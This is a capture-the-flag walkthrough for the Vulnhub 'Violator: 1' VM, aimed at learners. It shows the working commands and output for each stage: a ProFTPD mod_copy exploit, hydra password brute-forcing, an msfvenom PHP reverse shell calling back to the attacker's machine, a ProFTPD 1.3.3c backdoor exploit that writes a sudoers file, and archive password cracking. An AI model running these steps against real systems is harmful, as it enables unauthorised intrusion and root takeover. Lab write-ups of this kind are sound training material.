--- title: "Violator: 1, Vulnhub Walkthrough" layout: post category: writeup tags: [vulnhub, hacking] excerpt: "Walkthrough for Violator: 1 VM on Vulnhub" --- Before I begin, here's some hints given at the start of the vm: - Vince Clarke can help you with the Fast Fashion. - The challenge isn’t over with root. The flag is something special. - I have put a few trolls in, but only to sport with you. # Get the IP and check for services ``` paul@archyoga [04:21:07] [~] -> % nmap -sn 192.168.1.0/24 | grep violator Nmap scan report for violator (192.168.1.108) paul@archyoga [04:21:36] [~] -> % nmap -p- -sV 192.168.1.108 Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-09 16:21 EDT Nmap scan report for violator (192.168.1.108) Host is up (0.0086s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5rc3 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.49 seconds ``` So there's a website and an proFTPD v1.3.5rc3 server running on the machine. The website just says "I Say.. I say... I say boy! You're barkin up the wrong tree!" along with Foghorn Leghorn. However, in the source I found this: ```<-- https://en.wikipedia.org/wiki/Violator_(album) -->``` I found an exploit through [http://exploit-db.com](http://exploit-db.com) for proFTPD 1.3.5 (CVE: 2015-3306) that allows you to copy files without logging into the server: I wasn't sure what to copy, so I just copied anything I could by copying ```/proc/self/root``` to ```/var/www/html/root```, this making everything except the root user directory accessible: ``` paul@archyoga [04:49:25] [~] -> % ftp 192.168.1.108 Connected to 192.168.1.108. 220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.1.108] Name (192.168.1.108:paul): 331 Password required for paul Password: 530 Login incorrect. ftp: Login failed. Remote system type is UNIX. Using binary mode to transfer files. ftp> site cpfr /proc/self/root 350 File or directory exists, ready for destination name ftp> site cpto /var/www/html/root 250 Copy successful ftp> ``` Now you can easily see ```/etc/passwd```, all the home directories, and ```/etc/group``` to determine what to do next. ``` dg:x:1000:1000:Dave Gahan,,,:/home/dg:/bin/bash proftpd:x:104:65534::/var/run/proftpd:/bin/false ftp:x:105:65534::/srv/ftp:/bin/false mg:x:1001:1001:Martin Gore:/home/mg:/bin/bash af:x:1002:1002:Andrew Fletcher:/home/af:/bin/bash aw:x:1003:1003:Alan Wilder:/home/aw:/bin/bash ``` Notice ```dg, mg, af, and aw```, who are all members of Depeche Mode, which was referenced in an initial hint. I spent quite some time traversing their home directories, however I didn't have enough information to do anything yet. I found instructions for a Wermache enigma machine and some other hints, but I still needed key. I'll come back to this part in more detail later. # Get access to the server In ```/etc/group```, I can see that user ```dg``` is a member of several groups, so let's try to crack that password: The only possible solution I have for this is the link to the album for Violator. ``` paul@archyoga [06:13:59] [~] -> % cewl "https://en.wikipedia.org/wiki/Violator_(album)" -m 6 -w passwords.txt CeWL 5.1 Robin Wood (robin@digi.ninja) (http://digi.ninja) paul@archyoga [06:23:38] [~] -> % tr '[:upper:]' '[:lower:]' < passwords.txt > passwords1.txt paul@archyoga [06:23:40] [~] -> % sed -i "s/ //g" passwords1.txt paul@archyoga [06:23:42] [~] -> % hydra -t 1 -l dg -P ./passwords1.txt -vV 192.168.1.108 ftp Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. ... [21][ftp] host: 192.168.1.108 login: dg password: policyoftruth [STATUS] attack finished for 192.168.1.108 (valid pair found) 1 of 1 target successfully completed, 1 valid password found ``` First I used cewl to generate a password list based on the given url, then removed all the spaces and converted everything to lowercase using ```tr``` and ```sed```. Now that I can actually create new files in the server, I generated a reverse php shell and used metasploit to get a shell on the machine: ``` paul@archyoga [11:03:11] [~] -> % msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=1337 R > exploit.php fatal: Not a git repository (or any of the parent directories): .git No platform was selected, choosing Msf::Module::Platform::PHP from the payload No Arch selected, selecting Arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 949 bytes paul@archyoga [11:03:15] [~] -> % ftp 192.168.1.108 Connected to 192.168.1.108. 220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.1.108] Name (192.168.1.108:paul): dg 331 Password required for dg Password: 230 User dg logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> cd /var/www/html/ 250 CWD command successful ftp> put exploit.php 200 PORT command successful 150 Opening BINARY mode data connection for exploit.php 226 Transfer complete 949 bytes sent in 6.8e-05 seconds (13.3 Mbytes/s) ftp> 221 Goodbye. paul@archyoga [11:04:14] [~] -> % msfconsole ... msf > use exploit/multi/handler msf exploit(handler) > set lhost 192.168.1.109 lhost => 192.168.1.109 msf exploit(handler) > set lport 1337 lport => 1337 msf exploit(handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(handler) > exploit [*] Started reverse TCP handler on 192.168.1.109:1337 [*] Starting the payload handler... [*] Sending stage (33721 bytes) to 192.168.1.108 [*] Meterpreter session 1 opened (192.168.1.109:1337 -> 192.168.1.108:43369) at 2016-07-09 23:05:11 -0400 meterpreter > shell Process 1314 created. Channel 1 created. python -c 'import pty;pty.spawn("/bin/sh")' $ su dg su dg Password: policyoftruth dg@violator:/var/www/html$ ``` If you don't have much experience with metasploit (especially reverse shells), you should probably research that to get used to it. # Getting Root Now, back to the home directories, if you go to ```http://192.168.1.108/root/home``` there's 4 directories for each of the 4 suspicious users we saw earlier: ```af, aw, dg, mg```. The directory for af contains minarke, a terminal based enigma emulator, which is suprisingly difficult to use, aw contains a hint reading ```You are getting close... Can you crack the final enigma..?Y```, mg contains instructions for a Wermacht enigma machine, and dg contains a very small filesystem with proftpd isntalled. Running ```sudo -l``` shows that user ```dg``` has permissions to run proftpd in this directory, however it only allows connections from 127.0.0.1. Once I ran it, I found out it is proftpd 1.3.3c. ``` dg@violator:/var/www/html$ sudo -l sudo -l Matching Defaults entries for dg on violator: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User dg may run the following commands on violator: (ALL) NOPASSWD: /home/dg/bd/sbin/proftpd dg@violator:~/bd/sbin$ sudo /home/dg/bd/sbin/proftpd sudo /home/dg/bd/sbin/proftpd - setting default address to 127.0.0.1 localhost - SocketBindTight in effect, ignoring DefaultServer dg@violator:/var/www/html$ ftp localhost 2121 ftp localhost 2121 ftp: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. 220 ProFTPD 1.3.3c Server (Depeche Mode Violator Server) [127.0.0.1] ``` Then I added a port forward through metasploit so I could access it on my local machine: ``` dg@violator:/var/www/html$ ^C Terminate channel 0? [y/N] N [-] core_channel_interact: Operation failed: 1 meterpreter > portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1 [*] Local TCP relay created: 127.0.0.1:2121 <-> 127.0.0.1:2121 meterpreter > ``` Now you can access the internal proftpd server v1.3.3c from your machine: ``` paul@archyoga [01:45:03] [~] -> % telnet 127.0.0.1 2121 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 ProFTPD 1.3.3c Server (Depeche Mode Violator Server) [127.0.0.1] user dg 331 Password required for dg pass policyoftruth 230 User dg logged in ``` Now that I have metasploit port forwarding the ftp connection and I'm connected to it, I can use the exploit in proftpd 1.3.3c [https://www.exploit-db.com/exploits/15662/](https://www.exploit-db.com/exploits/15662/) with the metasploit module ```exploit/unix/ftp/proftpd_133c_backdoor``` along with the payload ```/cmd/unix/generic``` First in the using the shell I wrote ```dg ALL=(ALL:ALL) ALL``` to ```/tmp/exploit``` since I'm using that to get root. Then I used the proftpd v1.3.3c exploit to actually copy it to the right directory: ``` msf > use exploit/unix/ftp/proftpd_133c_backdoor msf exploit(proftpd_133c_backdoor) > set rhost 127.0.0.1 rhost => 127.0.0.1 msf exploit(proftpd_133c_backdoor) > set rport 2121 rport => 2121 msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/generic payload => cmd/unix/generic msf exploit(proftpd_133c_backdoor) > set cmd chmod 0440 /tmp/exploit && cp /tmp/exploit /etc/sudoers.d cmd => chmod 0440 /tmp/exploit && cp /tmp/exploit /etc/sudoers.d msf exploit(proftpd_133c_backdoor) > exploit [*] 127.0.0.1:2121 - Sending Backdoor Command [*] Exploit completed, but no session was created. ``` ``` dg@violator:/var/www/html$ sudo -l ... User dg may run the following commands on violator: (ALL : ALL) ALL (ALL) NOPASSWD: /home/dg/bd/sbin/proftpd dg@violator:/var/www/html$ sudo su sudo su [sudo] password for dg: policyoftruth root@violator:/var/www/html# cd /root cd /root root@violator:~# ls ls flag.txt root@violator:~# cat flag.txt cat flag.txt I say... I say... I say boy! Pumping for oil or something...? ---Foghorn Leghorn "A Broken Leghorn" 1950 (C) W.B. ``` And that get's us the flag! Now for the final enigma. # The Final Enigma Within the root folder there's also a suspicious directory ```.basildon``` containing ```crocs.rar``` ``` root@violator:~# ls -a ls -a . .. .bash_history .bashrc .basildon flag.txt .profile root@violator:~# cd .basildon cd .basildon root@violator:~/.basildon# ls -a ls -a . .. crocs.rar root@violator:~/.basildon# cp crocs.rar /var/www/html/ cp crocs.rar /var/www/html/ ``` Back on my local machine, I can see the contents of crocs.rar are password protected ``` paul@archyoga [02:17:20] [~/Downloads] -> % unrar e crocs.rar ... Enter password (will not be echoed) for artwork.jpg: ``` I tried using the password list from eariler, but that didn't work so I did some googling about crocs and Depeche Mode and found out it is a night club they play at, so I added songs from that to the list and tried it again, and that didn't work either. I wasn't sure what else to try, so I regenerated the password list except didn't take any spaces out or change anything to lowercase, and sure enough it worked! ``` paul@archyoga [02:21:49] [~/Downloads] -> % rar2john crocs.rar > myhash paul@archyoga [02:25:11] [~/Downloads] -> % rar2john myhash --wordlist=~/passwords4.txt Using default input encoding: UTF-8 Loaded 1 password hash (rar, RAR3 [SHA1 AES 32/64]) Press 'q' or Ctrl-C to abort, almost any other key for status World in My Eyes (crocs.rar) ``` Inside ```crocs.rar``` there's just some album artwork, but running exiftool on it reveals a very suspicoius copyright and rights message: ``` UKSNRSPYLEWHKOKZARVKDEINRLIBWIUCFQRQKAQQGQ LTIUCYMFENULUVFOYQDKPHSUJHFUJSAYJDFGDFRYWK LSVNJNVDVSBIBFNIFASOPFDVEYEBQYCOGULLLVQPUW ISDBNLNQIJUEZACAKTPPSBBLWRHKZBJMSKLJOACGJM FVXZUEKBVWNKWEKVKDMUYFLZEOXCIXIUHJOVSZXFLO ZFQTNSKXVWUHJLRAEERYTDPVNZPGUIMXZMESMAMBDV KFZSDEIQXYLJNKTBDSRYLDPPOIVUMZDFZPEWPPVHGP FBEERMDNHFIWLSHZYKOZVZYNEXGPROHLMRHFEIVIIA TOAOJAOVYFVBVIYBGUZXXWFKGJCYEWNQFTPAGLNLHV CRDLFHSXHVMCERQTZOOZARBEBWCBCIKUOFQIGZPCMW RHJEMUSGYBGWXJENRZHZ ``` I'm guessing this is the key for the enigma referenced in the home directories earlier. Using the instructions from the ```mg``` home folder I decrypted the code using [http://www.dcode.fr/enigma-machine-cipher](http://www.dcode.fr/enigma-machine-cipher) since the given minarke emulator was confusing to use. ``` Lyrics: * Use Wermacht with 3 rotors * Reflector to B Initial: A B C Alphabet Ring: C B A Plug Board A-B, C-D ```
``` ONE FINAL CHALLENGE FOR YOU BGHX CONGRATULATIONS FOR THE FOURTH TIME ON SNARFING THE FLAG ON VIOLATOR ILL PRESUME BY NOW YOULL KNOW WHAT I WAS LISTENING TO WHEN CREATING THIS CTF I HAVE INCLUDED THINGS WHICH WERE DELIBERATLY AVOIDING THE OBVIOUS ROUTE IN TO KEEP YOU ON YOUR TOES ANOTHER THOUGHT TO PONDER IS THAT BY ABUSING PERMISSIONS YOU ARE ALSO BY DEFINITION A VIOLATOR SHOUTOUTS AGAIN TO VULNHUB FOR HOSTING A GREAT LEARNING TOOL A SPECIAL THANKS GOES TO BENR AND GKNSB FOR TESTING AND TO GTMLK FOR THE OFFER TO HOST THE CTF AGAIN ``` There you go!